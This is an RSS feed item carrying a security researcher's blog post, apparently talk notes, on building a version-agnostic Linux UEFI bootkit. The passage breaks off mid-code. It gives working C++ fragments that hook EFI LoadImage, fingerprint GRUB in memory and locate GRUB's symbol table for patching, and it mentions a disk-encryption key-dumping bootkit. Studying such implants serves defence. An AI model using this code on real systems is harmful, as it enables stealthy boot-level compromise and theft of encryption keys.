<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>exploiters.fun</title>
    <link>https://www.exploiters.fun/</link>
    <description>We exploit computer (in)security in a fun way.</description>
    <language>en</language>
    <managingEditor>virtualtrustlevel0@gmail.com</managingEditor>
    <webMaster>virtualtrustlevel0@gmail.com</webMaster>
    <lastBuildDate>Sat, 17 Oct 2026 04:11:17 -0300</lastBuildDate>
    <atom:link href="https://www.exploiters.fun/blog/malware/" rel="self" type="application/rss+xml" />
    <item>
      <title>&lt;![CDATA[Version-agnostic Linux UEFI bootkitting through heuristics ]]></title>
      <link>https://www.exploiters.fun/blog/malware/version-agnostic-linux-bootkit/</link>
      <guid isPermaLink="true">https://www.exploiters.fun/blog/malware/version-agnostic-linux-bootkit/</guid>
      <pubDate>Sat, 17 Oct 2026 00:00:00 &#43;0000</pubDate>
      <category>&lt;![CDATA[Malware]]></category>
      <category>&lt;![CDATA[linux]]></category><category>&lt;![CDATA[bootkit]]></category><category>&lt;![CDATA[uefi]]></category><category>&lt;![CDATA[kernel]]></category><category>&lt;![CDATA[malware]]></category>
      <description>&lt;![CDATA[How I made a Linux x86_64 UEFI Bootkit resilient across build versions and compiler flags]]></description>
      <content:encoded>&lt;![CDATA[<p>When I first got into UEFI Bootkits, nearly all implementations relied on pattern scanning or hardcoded offsets. This is exceptionally fragile and is prone to breaking on different environments given how much linux installations vary. Since linux is open source, any user can compile a kernel with any set of flags and compilers.</p>
<p>These are my field notes on how I made one DXE Runtime Driver build serve many environments. Some UEFI, kernel development and x86_64 instruction encoding familiarity is expected from the reader.</p>
<p>This research was conducted independently and presented at BSides CWB 2026. This writeup covers implementation details that couldn&rsquo;t be mentioned live due to time management. It also skips concepts that are assumed to be known by the reader, unlike in the talk where nearly no UEFI experience was assumed for the viewers.</p>
<h2 id="the-bds-phase">The BDS phase</h2>
<p>Before any linux specific logic, identifying the load of a linux-related image (bzImage/Unified Kernel Image) is required to patch through the boot chain and apply each patch. The boot order is often either a bootloader (grub, SystemD Boot, etc) or a bzImage/UKI which is a bootable EFI application itself.</p>
<p>Either way goes through the BootServices function <code>LoadImage</code>, which is called through a pointer in the EFI_BOOT_SERVICES table. To hook this pointer, you have to fix the EFI_TABLE_HEADER crc32 checksum with the new table contents. The image is then started using StartImage, or for some specific bootloaders, this handover is done manually, like the shim loader.


<span class="sidenote-ref" id="sn-1792221077356940216-ref" aria-describedby="sn-1792221077356940216">✦</span><span class="sidenote" id="sn-1792221077356940216" role="note" aria-label="Side note">My code is in C++. Typically, you&rsquo;d see gBS where I do g::bs. It&rsquo;s the same thing.</span>
</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="k">template</span><span class="o">&lt;</span><span class="k">typename</span> <span class="n">func_type</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="n">func_type</span> <span class="n">swap_service_ptr</span><span class="p">(</span><span class="n">EFI_TABLE_HEADER</span> <span class="o">*</span><span class="n">service_header</span><span class="p">,</span> <span class="n">func_type</span> <span class="o">*</span><span class="n">service_function</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                           <span class="n">func_type</span> <span class="n">function</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">func_type</span> <span class="n">original</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">EFI_TPL</span> <span class="n">tpl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">service_header</span> <span class="o">==</span> <span class="k">nullptr</span> <span class="o">||</span> <span class="n">service_function</span> <span class="o">==</span> <span class="k">nullptr</span> <span class="o">||</span> <span class="n">function</span> <span class="o">==</span> <span class="k">nullptr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">tpl</span> <span class="o">=</span> <span class="n">g</span><span class="o">::</span><span class="n">bs</span><span class="o">-&gt;</span><span class="n">RaiseTPL</span><span class="p">(</span><span class="n">TPL_HIGH_LEVEL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">original</span> <span class="o">=</span> <span class="o">*</span><span class="n">service_function</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="o">*</span><span class="n">service_function</span> <span class="o">=</span> <span class="n">function</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">service_header</span><span class="o">-&gt;</span><span class="n">CRC32</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">g</span><span class="o">::</span><span class="n">bs</span><span class="o">-&gt;</span><span class="n">CalculateCrc32</span><span class="p">(</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">void</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">service_header</span><span class="p">),</span> <span class="n">service_header</span><span class="o">-&gt;</span><span class="n">HeaderSize</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="o">&amp;</span><span class="n">service_header</span><span class="o">-&gt;</span><span class="n">CRC32</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">g</span><span class="o">::</span><span class="n">bs</span><span class="o">-&gt;</span><span class="n">RestoreTPL</span><span class="p">(</span><span class="n">tpl</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">original</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>To use it:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">hooks</span><span class="o">::</span><span class="n">efi</span><span class="o">::</span><span class="n">original_LoadImage</span> <span class="o">=</span>
</span></span><span class="line"><span class="cl">    <span class="n">swap_service_ptr</span><span class="p">(</span><span class="o">&amp;</span><span class="n">g</span><span class="o">::</span><span class="n">bs</span><span class="o">-&gt;</span><span class="n">Hdr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">g</span><span class="o">::</span><span class="n">bs</span><span class="o">-&gt;</span><span class="n">LoadImage</span><span class="p">,</span> <span class="n">hooks</span><span class="o">::</span><span class="n">efi</span><span class="o">::</span><span class="n">LoadImage</span><span class="p">);</span>
</span></span></code></pre></div><p><code>LoadImage</code> writes to <code>*ImageHandle</code> an <code>EFI_HANDLE</code>. We need it to get image base address and length. Let it run:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">res</span> <span class="o">=</span> <span class="n">original_LoadImage</span><span class="p">(</span><span class="n">BootPolicy</span><span class="p">,</span> <span class="n">ParentImageHandle</span><span class="p">,</span> <span class="n">DevicePath</span><span class="p">,</span> <span class="n">SourceBuffer</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                         <span class="n">SourceSize</span><span class="p">,</span> <span class="n">ImageHandle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">EFI_ERROR</span><span class="p">(</span><span class="n">res</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">res</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Once loaded, we now query the loaded image using BootServices function <code>HandleProtocol</code> with <code>gEfiLoadedImageProtocolGuid</code> and <code>*ImageHandle</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">EFI_LOADED_IMAGE_PROTOCOL</span> <span class="o">*</span><span class="n">image_protocol</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">uintptr_t</span> <span class="n">base</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">size_t</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">EFI_ERROR</span><span class="p">(</span><span class="n">g</span><span class="o">::</span><span class="n">bs</span><span class="o">-&gt;</span><span class="n">HandleProtocol</span><span class="p">(</span><span class="o">*</span><span class="n">ImageHandle</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">gEfiLoadedImageProtocolGuid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                    <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">void</span> <span class="o">**&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">image_protocol</span><span class="p">))))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="cm">/* snip */</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">base</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">image_protocol</span><span class="o">-&gt;</span><span class="n">ImageBase</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">size</span> <span class="o">=</span> <span class="n">image_protocol</span><span class="o">-&gt;</span><span class="n">ImageSize</span><span class="p">;</span>
</span></span></code></pre></div><p>With image base and length in hand, we can identify and patch the binary in-memory. To identify what it is, you can either trust the file name or scan the image for unique signatures. If you need the file path, use the <code>EFI_DEVICE_PATH_TO_TEXT_PROTOCOL</code> function <code>ConvertDevicePathToText</code> on <code>DevicePath</code>:


<span class="sidenote-ref" id="sn-1792221077357366932-ref" aria-describedby="sn-1792221077357366932">✦</span><span class="sidenote" id="sn-1792221077357366932" role="note" aria-label="Side note">Names can be deceiving, and should only be treated as hints</span>
</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">i</span><span class="o">::</span><span class="n">device_path_protocol</span> <span class="o">==</span> <span class="k">nullptr</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">res</span> <span class="o">=</span> <span class="n">g</span><span class="o">::</span><span class="n">bs</span><span class="o">-&gt;</span><span class="n">LocateProtocol</span><span class="p">(</span><span class="o">&amp;</span><span class="n">gEfiDevicePathToTextProtocolGuid</span><span class="p">,</span> <span class="k">nullptr</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                              <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">void</span> <span class="o">**&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">i</span><span class="o">::</span><span class="n">device_path_protocol</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">EFI_ERROR</span><span class="p">(</span><span class="n">res</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">print</span><span class="p">(</span><span class="n">DEBUG_ERROR</span><span class="p">,</span> <span class="s">&#34;Couldn&#39;t find device path procol</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nf">original_LoadImage</span><span class="p">(</span><span class="n">BootPolicy</span><span class="p">,</span> <span class="n">ParentImageHandle</span><span class="p">,</span> <span class="n">DevicePath</span><span class="p">,</span> <span class="n">SourceBuffer</span><span class="p">,</span> <span class="n">SourceSize</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                              <span class="n">ImageHandle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">path</span> <span class="o">=</span> <span class="n">i</span><span class="o">::</span><span class="n">device_path_protocol</span><span class="o">-&gt;</span><span class="n">ConvertDevicePathToText</span><span class="p">(</span><span class="n">DevicePath</span><span class="p">,</span> <span class="n">TRUE</span><span class="p">,</span> <span class="n">TRUE</span><span class="p">);</span>
</span></span></code></pre></div><p><code>path</code> is a <code>CHAR16</code> string, it is something like: &ldquo;PciRoot(0x0)/Pci(0x10,0x0)/Scsi(0x0,0x0)/HD(1,GPT,UUID,0x800,0x200000)/\EFI\BOOT\BOOTX64.EFI&rdquo;. The better option would be to find a unique signature in the binary. That could be a set of strings present in every version or special structures/headers. As aforementioned, shim loader does some things different. They hook system services and boot services functions the same way we do. To add a compatibility layer to it, you&rsquo;d hook their hooking function and override their hooks in the shim&rsquo; local copy of the system services table which they pass manually to images they call, bypassing LoadImage entirely except for some error handling edge cases. This project has unfinished compatibility with shim loader, so this writeup is subject to change.</p>
<h3 id="identifying-and-manipulating-grub">Identifying and manipulating GRUB</h3>
<p>In GRUB, the strings &ldquo;grub_mod_init&rdquo;, &ldquo;grub_mod_fini&rdquo;, &ldquo;grub_dl_load_core_noinit&rdquo; and &ldquo;grub rescue&gt;&rdquo; generally suffice as they are uniquely specific to GRUB. For a tighter heuristic, you can also look for &ldquo;mods&rdquo; PE section containing the signature &ldquo;mimg&rdquo;, though that only exists for certain GRUB builds:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">bool</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">is_grub</span><span class="p">(</span><span class="n">uintptr_t</span> <span class="n">image_base</span><span class="p">,</span> <span class="n">size_t</span> <span class="n">image_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">static</span> <span class="k">constexpr</span> <span class="n">image_signature</span><span class="o">&lt;</span><span class="mi">64</span><span class="o">&gt;</span> <span class="n">signatures</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="s">&#34;grub_mod_init&#34;</span><span class="p">,</span> <span class="s">&#34;grub_mod_fini&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                                       <span class="s">&#34;grub_dl_load_core_noinit&#34;</span><span class="p">,</span> <span class="s">&#34;grub rescue&gt;&#34;</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">  <span class="k">static</span> <span class="k">constexpr</span> <span class="n">size_t</span> <span class="n">max_len</span> <span class="o">=</span> <span class="n">max_sig_len</span><span class="p">(</span><span class="n">signatures</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">image_size</span> <span class="o">&gt;=</span> <span class="n">max_len</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">size_t</span> <span class="n">search_limit</span> <span class="o">=</span> <span class="n">image_size</span> <span class="o">-</span> <span class="n">max_len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">uintptr_t</span> <span class="n">mods_base</span><span class="p">,</span> <span class="n">mods_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">uintptr_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="n">search_limit</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">c</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">image_base</span> <span class="o">+</span> <span class="n">i</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="k">for</span> <span class="p">(</span><span class="k">const</span> <span class="k">auto</span> <span class="o">&amp;</span><span class="nl">s</span> <span class="p">:</span> <span class="n">signatures</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">memcmp</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">s</span><span class="p">.</span><span class="n">str</span><span class="p">,</span> <span class="n">s</span><span class="p">.</span><span class="n">len</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">          <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">pe</span><span class="o">::</span><span class="n">get_section</span><span class="p">(</span><span class="n">image_base</span><span class="p">,</span> <span class="s">&#34;mods&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">mods_base</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">mods_size</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">mods_base</span> <span class="o">+</span> <span class="mi">4</span> <span class="o">&lt;</span> <span class="n">image_base</span> <span class="o">+</span> <span class="n">image_size</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">void</span> <span class="o">*</span><span class="n">mods_sig_p</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">void</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">mods_base</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nf">memcmp</span><span class="p">(</span><span class="n">mods_sig_p</span><span class="p">,</span> <span class="s">&#34;mimg&#34;</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Though GRUB is just a bootloader, it implements various features that may be of your interest. Otherwise, it will proceed to load an operating system through <code>LoadImage</code> as previously discussed. But what features are these I mentioned? Last year, I developed a POC Full-Disk-Encryption key dumping bootkit for FDE done via GRUB&rsquo;s LUKS cryptodisk module. While it deserves a post of its own, some of the techniques used there is worth covering briefly.
<a href="https://elixir.bootlin.com/grub/2.00/source/grub-core/gensymlist.sh#L52">GRUB 2 generates a symbol table that you can use to query symbol addresses for GRUB core image</a>. It&rsquo;s in alphabetical order and finding this table is as simple as getting strings XREFs and checking if it belongs to a structure coherent with the symtab signature</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">bool</span> <span class="n">grub</span><span class="o">::</span><span class="n">find_symtab</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">symtab</span> <span class="o">*</span><span class="n">candidate</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">data_end</span><span class="p">,</span> <span class="n">text_end</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">grub</span><span class="o">::</span><span class="n">data_section_address</span> <span class="o">||</span> <span class="o">!</span><span class="n">grub</span><span class="o">::</span><span class="n">data_section_size</span> <span class="o">||</span> <span class="o">!</span><span class="n">grub</span><span class="o">::</span><span class="n">text_section_address</span> <span class="o">||</span>
</span></span><span class="line"><span class="cl">      <span class="o">!</span><span class="n">grub</span><span class="o">::</span><span class="n">text_section_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">data_end</span> <span class="o">=</span> <span class="p">(</span><span class="n">grub</span><span class="o">::</span><span class="n">data_section_address</span> <span class="o">+</span> <span class="n">grub</span><span class="o">::</span><span class="n">data_section_size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">text_end</span> <span class="o">=</span> <span class="p">(</span><span class="n">grub</span><span class="o">::</span><span class="n">text_section_address</span> <span class="o">+</span> <span class="n">grub</span><span class="o">::</span><span class="n">text_section_size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">c</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uint8_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">grub</span><span class="o">::</span><span class="n">data_section_address</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">candidate</span> <span class="o">=</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// GRUB builtin symtab is in alphabetical order, grub_abort is a safe pick
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// grub_abort is usually the first entry, but we&#39;ll walk backwards so no
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// entries are left out
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">grub</span><span class="o">::</span><span class="n">data_section_size</span> <span class="o">-</span> <span class="k">sizeof</span><span class="p">(</span><span class="s">&#34;grub_abort&#34;</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// first find string literal, then find XREF to it
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="n">AsciiStrCmp</span><span class="p">(</span><span class="s">&#34;grub_abort&#34;</span><span class="p">,</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="k">const</span> <span class="n">CHAR8</span> <span class="o">*&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">c</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">uintptr_t</span> <span class="n">xref</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="kt">bool</span> <span class="n">found</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="c1">// look for the xref
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="n">grub</span><span class="o">::</span><span class="n">data_section_size</span> <span class="o">-</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">uintptr_t</span><span class="p">);</span> <span class="n">j</span> <span class="o">+=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">uintptr_t</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uint8_t</span> <span class="o">**&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">c</span><span class="p">[</span><span class="n">j</span><span class="p">])</span> <span class="o">==</span> <span class="o">&amp;</span><span class="n">c</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">uintptr_t</span> <span class="n">symbol_addr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">          <span class="n">xref</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">c</span><span class="p">[</span><span class="n">j</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">          <span class="n">candidate</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">symtab</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">xref</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">          <span class="c1">// grub_abort is a function
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>          <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">candidate</span><span class="o">-&gt;</span><span class="n">isfunc</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">candidate</span> <span class="o">=</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">          <span class="n">symbol_addr</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">candidate</span><span class="o">-&gt;</span><span class="n">addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">          <span class="c1">// check if symbol is within GRUB&#39;s .text
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>          <span class="k">if</span> <span class="p">(</span><span class="n">symbol_addr</span> <span class="o">&lt;</span> <span class="n">grub</span><span class="o">::</span><span class="n">text_section_address</span> <span class="o">||</span> <span class="n">symbol_addr</span> <span class="o">&gt;=</span> <span class="n">text_end</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">candidate</span> <span class="o">=</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">          <span class="n">found</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">found</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">candidate</span> <span class="o">==</span> <span class="k">nullptr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">symtab_count</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// walk backwards to the first symtab entry
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">do</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">symtab</span> <span class="o">*</span><span class="n">entry</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">uintptr_t</span> <span class="n">entry_address</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">uintptr_t</span> <span class="n">symbol_address</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">uintptr_t</span> <span class="n">name_address</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">entry</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">candidate</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="n">entry_address</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">entry</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">entry_address</span> <span class="o">&lt;</span> <span class="n">grub</span><span class="o">::</span><span class="n">data_section_address</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">entry</span><span class="o">-&gt;</span><span class="n">name</span> <span class="o">||</span> <span class="o">!</span><span class="n">entry</span><span class="o">-&gt;</span><span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
